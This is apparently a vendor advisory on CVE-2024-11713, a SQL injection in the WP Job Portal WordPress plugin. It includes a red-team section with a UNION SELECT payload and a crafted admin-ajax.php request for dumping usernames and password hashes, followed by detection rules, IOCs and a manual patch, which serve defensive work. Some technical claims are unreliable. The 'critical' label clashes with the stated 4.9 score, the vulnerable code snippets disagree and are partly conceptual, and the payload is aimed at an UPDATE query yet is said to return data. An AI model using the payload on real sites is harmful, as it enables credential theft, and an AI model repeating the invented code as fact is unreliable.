CVE-2024-11713

Executive Summary

CVE-2024-11713 is a critical SQL Injection vulnerability discovered in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress. The flaw resides in the wpjobportal_deactivate() function, specifically within the handling of the page_id parameter. Due to insufficient input escaping and lack of prepared statements, an authenticated attacker with Administrator-level privileges can inject arbitrary SQL queries into the existing database query. This allows the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data.

This vulnerability affects all versions of the plugin up to and including version 2.2.2. As of the latest analysis, no official patch has been released by the vendor, leaving all installations of the plugin exposed. The attack vector is network-based, requires high privileges (Administrator), and has a low attack complexity, making it a significant threat to WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WP Job Portal plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin's update mechanism. However, the lack of a patch means that site administrators must manually apply mitigations or remove the plugin to secure their installations.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): High (H) – The attacker must have Administrator-level access to the WordPress site.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Successful exploitation can lead to full database disclosure.
• Integrity (I): None (N) – The vulnerability does not allow data modification.
• Availability (A): None (N) – The vulnerability does not affect system availability.

Threat Level: Medium. While the CVSS score is 4.9, the potential impact on confidentiality is high. The requirement for Administrator privileges reduces the likelihood of exploitation by external attackers, but insider threats or compromised admin accounts can easily leverage this flaw.

Deep Dive & Mechanics

The vulnerability exists in the wpjobportal_deactivate() function, which is part of the WP Job Portal plugin's administrative interface. This function is responsible for deactivating job portals or related entities. The page_id parameter is passed directly into an SQL query without proper sanitization or parameterization.

Root Cause:

• Insufficient Escaping: The page_id parameter is not properly escaped before being used in the SQL query.
• Lack of Prepared Statements: The plugin uses direct string concatenation to build the SQL query, rather than using prepared statements with parameterized queries.

Attack Flow:

1. An authenticated attacker with Administrator privileges accesses the vulnerable function.
2. The attacker crafts a malicious page_id parameter containing SQL injection payloads.
3. The plugin executes the SQL query with the injected payload, allowing the attacker to extract data from the database.

Example of Vulnerable Code (Conceptual):

$page_id = $_POST['page_id'];
$query = "SELECT * FROM {$wpdb->prefix}wpjobportal_pages WHERE id = " . $page_id;
$results = $wpdb->get_results($query);

Impact:

• Extraction of usernames and password hashes from the wp_users table.
• Retrieval of session tokens, API keys, and other sensitive data.
• Potential privilege escalation if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Version <= 2.2.2):

function wpjobportal_deactivate() {
    $page_id = $_POST['page_id'];
    $query = "UPDATE {$wpdb->prefix}wpjobportal_pages SET status = 0 WHERE id = " . $page_id;
    $wpdb->query($query);
}

Patched Code (Expected):

function wpjobportal_deactivate() {
    $page_id = intval($_POST['page_id']); // Cast to integer
    $query = $wpdb->prepare(
        "UPDATE {$wpdb->prefix}wpjobportal_pages SET status = 0 WHERE id = %d",
        $page_id
    );
    $wpdb->query($query);
}

Key Differences:

• The patched version uses intval() to ensure the input is an integer.
• The patched version uses $wpdb->prepare() with a placeholder (%d) to safely bind the parameter.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with WP Job Portal plugin version <= 2.2.2.
• Administrator-level credentials.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the WP Job Portal settings or deactivation functionality.
3. Intercept the request using a proxy like Burp Suite.
4. Modify the page_id parameter to inject SQL.

Example Payload:

1 UNION SELECT user_login, user_pass FROM wp_users

Crafted Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: [admin_session_cookie]

action=wpjobportal_deactivate&page_id=1 UNION SELECT user_login, user_pass FROM wp_users

Expected Output: The response will contain the usernames and password hashes from the wp_users table.

Blue Team

Detection:

• Monitor for unusual SQL queries in database logs.
• Look for requests to admin-ajax.php with the action=wpjobportal_deactivate parameter.
• Analyze page_id values for SQL injection patterns (e.g., UNION, SELECT, OR 1=1).

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri_path="/wp-admin/admin-ajax.php" form_data=*wpjobportal_deactivate*
• ELK: http.request.uri: "/wp-admin/admin-ajax.php" AND http.request.body: "action=wpjobportal_deactivate"

Prevention:

• Implement a Web Application Firewall (WAF) with rules to block SQL injection attempts.
• Restrict access to admin pages using IP whitelisting or VPN.
• Apply the principle of least privilege; limit admin accounts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=wpjobportal_deactivate and suspicious page_id values.
  • SQL injection patterns in the page_id parameter (e.g., UNION, SELECT, --).

• File IOCs:

  • Modified plugin files in /wp-content/plugins/wp-job-portal/.
  • Unexpected entries in WordPress database tables (e.g., new admin users).

• Log IOCs:

  • Database error logs showing SQL syntax errors.
  • Web server access logs with repeated requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_11713_WP_Job_Portal_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11713"
    strings:
        $sqli1 = "UNION SELECT" ascii nocase
        $sqli2 = "OR 1=1" ascii nocase
        $sqli3 = "wp_users" ascii nocase
        $sqli4 = "wpjobportal_deactivate" ascii nocase
    condition:
        any of ($sqli*) and $sqli4
}

Sigma Rule

title: SQL Injection Attempt Against WP Job Portal Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the WP Job Portal plugin via the page_id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wpjobportal_deactivate'
    keywords:
        - 'UNION SELECT'
        - 'OR 1=1'
        - 'wp_users'
    condition: selection and keywords
falsepositives:
    - Legitimate admin actions with similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11713 WP Job Portal SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpjobportal_deactivate"; http_client_body; pcre:"/(UNION SELECT|OR 1=1|wp_users)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the WP Job Portal plugin until a patch is available.
2. Apply Virtual Patching: Use a WAF to block requests containing SQL injection patterns in the page_id parameter.
3. Audit Admin Accounts: Review and remove any unnecessary administrator accounts.

Long-Term Solutions:

• Monitor for Updates: Regularly check the WordPress plugin repository for a patched version.
• Code Hardening: If you must keep the plugin, manually patch the vulnerable function by adding input validation and using prepared statements.
• Implement Security Best Practices: Use the principle of least privilege, enforce strong passwords, and enable two-factor authentication for admin accounts.

Workaround Code (Manual Patch):

function wpjobportal_deactivate() {
    $page_id = intval($_POST['page_id']);
    $query = $wpdb->prepare(
        "UPDATE {$wpdb->prefix}wpjobportal_pages SET status = 0 WHERE id = %d",
        $page_id
    );
    $wpdb->query($query);
}

Valters IT
Securing Digital Frontiers